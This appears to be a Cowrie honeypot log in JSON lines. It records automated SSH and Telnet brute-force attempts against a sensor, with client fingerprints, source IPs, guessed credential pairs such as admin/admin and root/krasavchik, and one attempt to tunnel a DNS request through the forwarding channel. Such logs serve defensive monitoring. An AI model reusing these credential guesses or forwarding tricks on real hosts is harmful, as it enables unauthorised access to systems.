{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.306086Z","src_ip":"87.251.64.176","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.401771Z","src_ip":"87.251.64.176","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.687042Z","src_ip":"87.251.64.176","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.785001Z","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.881104Z","src_ip":"87.251.64.176","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.978795Z","src_ip":"87.251.64.176","session":"a3dfd5b76334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec2a21c7942","protocol":"telnet","message":"New connection: 135.148.14.151:58364 (159.203.135.109:23) [session: 9ec2a21c7942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:20.908693Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59432,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d41ba41244d","protocol":"telnet","message":"New connection: 135.148.14.151:59432 (159.203.135.109:23) [session: 5d41ba41244d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:24.116827Z"}
{"eventid":"cowrie.session.closed","duration":33.97491931915283,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:27.323817Z","src_ip":"135.148.14.151","session":"e4274e61c471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.908185720443726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:33.476772Z","src_ip":"135.148.14.151","session":"cc2b6b457432","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37992,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e55c680662","protocol":"telnet","message":"New connection: 135.148.14.151:37992 (159.203.135.109:23) [session: 39e55c680662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:37.536756Z"}
{"eventid":"cowrie.session.closed","duration":36.35975432395935,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:38.844439Z","src_ip":"135.148.14.151","session":"ef4301158545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a0d0d59d5a","protocol":"telnet","message":"New connection: 135.148.14.151:38690 (159.203.135.109:23) [session: d4a0d0d59d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:39.006020Z"}
{"eventid":"cowrie.session.closed","duration":36.32920432090759,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:57.237734Z","src_ip":"135.148.14.151","session":"9ec2a21c7942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02584719657898,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:59.142541Z","src_ip":"135.148.14.151","session":"5d41ba41244d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1815ed3670","protocol":"ssh","message":"New connection: 109.237.96.109:43782 (159.203.135.109:22) [session: 0f1815ed3670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:10.816970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:10.822006Z","src_ip":"109.237.96.109","session":"0f1815ed3670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:10.920529Z","src_ip":"109.237.96.109","session":"0f1815ed3670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasavchik","message":"login attempt [root/krasavchik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:11.265018Z","src_ip":"109.237.96.109","session":"0f1815ed3670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:12.363566Z","src_ip":"109.237.96.109","session":"0f1815ed3670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.232964754104614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:13.238873Z","src_ip":"135.148.14.151","session":"d4a0d0d59d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64813280105591,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:14.184764Z","src_ip":"135.148.14.151","session":"39e55c680662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":45445,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09fb124b9d9","protocol":"ssh","message":"New connection: 2.57.121.25:45445 (159.203.135.109:22) [session: f09fb124b9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:22.983760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:22.988781Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:23.093349Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110589","message":"login attempt [user/110589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:23.582492Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110495","message":"login attempt [user/110495] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:24.689760Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110284","message":"login attempt [user/110284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:25.801195Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1069","message":"login attempt [user/1069] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:26.908437Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101287","message":"login attempt [user/101287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:28.014849Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:29.122931Z","src_ip":"2.57.121.25","session":"f09fb124b9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52608,"dst_ip":"159.203.135.109","dst_port":22,"session":"5251c714741c","protocol":"ssh","message":"New connection: 37.233.85.71:52608 (159.203.135.109:22) [session: 5251c714741c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:40.152567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:40.157745Z","src_ip":"37.233.85.71","session":"5251c714741c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:40.262766Z","src_ip":"37.233.85.71","session":"5251c714741c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120588","message":"login attempt [root/120588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:40.574147Z","src_ip":"37.233.85.71","session":"5251c714741c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:41.681762Z","src_ip":"37.233.85.71","session":"5251c714741c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40332,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd1d030f4da8","protocol":"telnet","message":"New connection: 135.148.14.151:40332 (159.203.135.109:23) [session: fd1d030f4da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:42.465414Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43110,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2c13be60fa2","protocol":"ssh","message":"New connection: 87.251.79.125:43110 (159.203.135.109:22) [session: e2c13be60fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:43.957700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:43.962841Z","src_ip":"87.251.79.125","session":"e2c13be60fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:44.037218Z","src_ip":"87.251.79.125","session":"e2c13be60fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110388","message":"login attempt [root/110388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:44.258431Z","src_ip":"87.251.79.125","session":"e2c13be60fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:12:45.339576Z","src_ip":"87.251.79.125","session":"e2c13be60fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51518,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae346f32526b","protocol":"telnet","message":"New connection: 135.148.14.151:51518 (159.203.135.109:23) [session: ae346f32526b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:05.204865Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33512,"dst_ip":"10.17.0.5","dst_port":22,"session":"60351c13c406","protocol":"ssh","message":"New connection: 103.82.132.16:33512 (10.17.0.5:22) [session: 60351c13c406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:05.311741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:05.317581Z","src_ip":"103.82.132.16","session":"60351c13c406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:05.568482Z","src_ip":"103.82.132.16","session":"60351c13c406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130689","message":"login attempt [root/130689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:06.322402Z","src_ip":"103.82.132.16","session":"60351c13c406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:07.580665Z","src_ip":"103.82.132.16","session":"60351c13c406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54514,"dst_ip":"159.203.135.109","dst_port":23,"session":"726490a63a1d","protocol":"telnet","message":"New connection: 135.148.14.151:54514 (159.203.135.109:23) [session: 726490a63a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:13.257681Z"}
{"eventid":"cowrie.session.closed","duration":37.53431701660156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:19.999587Z","src_ip":"135.148.14.151","session":"fd1d030f4da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b5cf1187fd","protocol":"telnet","message":"New connection: 180.235.129.180:54394 (10.17.0.5:23) [session: c0b5cf1187fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:22.454832Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63924,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa779a6174ba","protocol":"ssh","message":"New connection: 194.59.206.2:63924 (10.17.0.5:22) [session: aa779a6174ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:28.331481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:13:28.334984Z","src_ip":"194.59.206.2","session":"aa779a6174ba","protocol":"ssh"}
